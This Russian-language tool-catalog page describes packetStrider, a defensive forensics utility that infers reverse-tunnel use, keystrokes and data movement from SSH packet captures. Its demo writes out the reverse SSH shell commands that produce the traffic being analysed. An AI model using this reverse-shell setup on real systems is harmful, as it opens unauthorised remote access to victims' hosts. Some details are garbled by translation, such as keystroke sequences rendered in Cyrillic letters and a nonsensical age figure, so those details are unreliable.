Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
packetStrider — Инструмент форензики сетевых пакетов для SSH | Kitploit
Инструменты/GitHubGitHub/benjeems/packetstrider
Сниффинг и анализ пакетовСетевая криминалистикаФорензикаТестирование на ПроникновениеМашинное ОбучениеОбнаружение ВторженийRed TeamingОбнаружение Аномалий
GitHubbenjeems/packetstrider

packetStrider

Инструмент форензики сетевых пакетов для SSH

Репозиторий
25439226 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Packet Strider (v0.21)

логотип

Краткое описание

packetStrider for SSH — это инструмент криминалистического анализа пакетов, предназначенный для получения ценной информации о природе SSH-трафика, проливая свет на те уголки SSH-сетевого трафика, где ранее в темноте скрывались золотые крупицы информации.

Проблема, которую packet strider призван решить (или «Зачем?»)

SSH, очевидно, зашифрован, но ценная контекстная информация всё равно присутствует в сетевом трафике и может быть использована для анализа тактик, техник и процедур (TTP), намерений, успеха и масштаба действий по достижению целей. Могут даже возникнуть ситуации, когда ценный контекст недоступен или удалён с хостов, и тогда неизменяемый и не подлежащий изменению пассивный захват сети даёт дополнительный криминалистический контекст. «Пакеты не лгут».

Помимо криминалистического контекста, прогнозы packet strider также могут использоваться активным образом, например, для блокировки (shun/RST) прямых подключений, если прогнозируется инициирование обратного SSH-сеанса через туннель, даже до того, как будет предложена обратная аутентификация.

Широкие методы packet strider (или «Как?»)

  • Строит богатый набор признаков в виде pandas dataframes. Более 40 признаков создаются на основе метаданных пакетов, таких как содержимое сообщений протокола SSH, нормализованная статистика, направление, размер, задержка и скользящие окна.
  • Проходит по этому набору признаков множество раз с помощью скользящих окон (вдохновлено свёрточными нейронными сетями) для прогнозирования:
    • Использование опции -R в прямой сессии — это то, что включает возможность обратного подключения позже в сессии. Этот артефакт обнаруживается в самом начале сессии, сразу после аутентификации прямой сессии. Это первый доступный предупредительный сигнал о том, что обратные сессии возможны.
    • Инициирование обратного SSH-сеанса может произойти в любой момент (ранний или поздний) в прямой сессии. Это обнаруживается до успешной аутентификации обратной сессии. Это второй предупредительный сигнал: обратная сессия только что была запрошена и подготовлена к аутентификации.
    • Успех и/или неудача аутентификации обратной сессии. Это третий и последний предупредительный сигнал; после этого вы знаете, что кто-то находится на вашем хосте внутри обратной сессии.
    • Использование опции -A (перенаправление SSH-агента), которая позволяет клиенту делиться своими локальными закрытыми ключами SSH с сервером. Эта функциональность обычно считается опасной. Ссылки: https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident https://skylightcyber.com/2019/09/26/all-your-cloud-are-belong-to-us-cve-2019-12491/ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12491
    • Все прогнозы и отчёты метаданных для каждого потока отдельно.
    • Человеческое или скриптовое поведение, определяемое по временным дельтам.
    • Известен ли сервер клиенту ранее? Или это был первый раз, когда между ними было установлено соединение. Это определяется через дельты пакетов, связанные с known_hosts.
    • Использовался ли сертификат клиента или аутентификация по паролю, а также не превышает ли длина пароля 8 символов.
    • Нажатия клавиш, нажатие клавиши Delete, нажатие Enter (вырезание, вставка и стрелки вверх/вниз — YMMV/экспериментально).
    • Прогнозы перемещения данных (выгрузка/загрузка) как в прямых, так и в обратных сессиях.
    • Работает как с интерактивными сессиями, так и с SSH-приложениями для передачи файлов (например, scp, putty, cyberduck и т.д.).

Начало работы

Используется Python3, вам понадобятся следующие модули (YMMV для python2):

pip3 install pandas matplotlib pyshark

Использование:

python3 packetStrider-ssh.py -h

Вывод:

usage: packetStrider-ssh.py [-h] [-f FILE] [-n NSTREAM] [-m] [-k] [-p]
                             [-z ZOOM] [-d DIRECTION] [-o OUTPUT_DIR]
                             [-w WINDOW] [-s STRIDE]

packetStrider-ssh is a packet forensics tool for SSH. It creates a rich
feature set from packet metadata such SSH Protocol message content, direction,
size, latency and sequencing. It performs pattern matching on these features,
using statistical analysis, and sliding windows to predict session initiation,
keystrokes, human/script behavior, password length, use of client
certificates, context into the historic nature of client/server contact and
exfil/infil data movement characteristics in both Forward and Reverse sessions

optional arguments:
  -h, --help            show this help message and exit
  -f FILE, --file FILE  pcap file to analyze
  -n NSTREAM, --nstream NSTREAM
                        Perform analysis only on stream n
  -m, --metaonly        Display stream metadata only
  -k, --keystrokes      Perform keystroke prediction
  -p, --predict_plot    Plot data movement and keystrokes
  -z ZOOM, --zoom ZOOM  Narrow down/zoom the analysis and plotting to only
                        packets "x-y"
  -d DIRECTION, --direction DIRECTION
                        Perform analysis on SSH direction : "forward",
                        "reverse" OR "both"
  -o OUTPUT_DIR, --output_dir OUTPUT_DIR
                        Directory to output plots
  -w WINDOW, --window WINDOW
                        Sliding window size, # of packets to side of window
                        center packet, default is 2
  -s STRIDE, --stride STRIDE
                        Stride between sliding windows, default is 1

Пример

Pcap-файл «forward_reverse.pcap» получен из распространённого TTP — обратной SSH-оболочки (reverse SSH shell), излюбленного приёма красных команд повсюду. В частности, были использованы следующие команды, чтобы наглядно продемонстрировать возможности Packet Strider простым способом:

  • Прямое подключение от жертвы

    • Команда для прямой сессии: ssh [email protected] -R 31337:localhost:22, которая связывает локальный порт 31337, готовый к обратному SSH-подключению к компьютеру жертвы. Это соединение может быть установлено различными способами, включая ручной ввод, RCE, SSRF или какую-либо форму персистентности. В целях данной демонстрации это стандартная прямая сессия, выполненная вручную.
    • Это НЕ был первый раз, когда клиент видел сервер. Мы видим это, потому что дельта для связанных пакетов была очень мала: отпечаток ключа сервера уже находился в known_hosts клиента, поэтому пользователю не было предложено добавить его — что увеличило бы задержку пакетов.
    • Две последовательные неудачные попытки входа с паролем от человека, после чего последовал успешный вход с паролем длиной 8+ символов.
    • В прямой сессии вводится ls в следующей последовательности: 'л' 'в' 'в' 'back-space' 'back-space' 'с' и затем Enter. Общий размер данных, передаваемых по сети (как вывод ls), классифицируется как инфильтрация, поскольку данные входящие.
  • Теперь на машине атакующего (сервере) инициируется обратная оболочка к жертве:

    • ssh victim@localhost -p 31337. В этот момент, ещё до начала процесса аутентификации, Packet Strider идентифицирует инициирование обратного SSH-сеанса на пакете 72.
    • Теперь атакующий имеет обратную оболочку на хосте жертвы. Отсюда он может отключить настройки истории и выполнять любые действия по латеральному перемещению или шалости по взлому. Простые примеры в этой демонстрации — начальная разведка пользователей.
    • last выполняется в виде нажатий клавиш 'л' 'а' 'с' 'р' 'delete' 'т' 'enter'
    • who выполняется в виде 'в' 'х' 'о' 'enter'
    • exit выполняется в виде 'е' 'х' 'и' 'т'
  • Затем, наконец, прямая сессия закрывается, просто чтобы продемонстрировать, что обнаружение функций прямого SSH по-прежнему работает.

    • exit

Сетевой трафик этой активности сохраняется в tcpdump.pcap, и теперь пришло время запустить Packet Strider.

python3 packetStrider-ssh.py -f tcpdump.pcap -k -p -o out

Скачать инструмент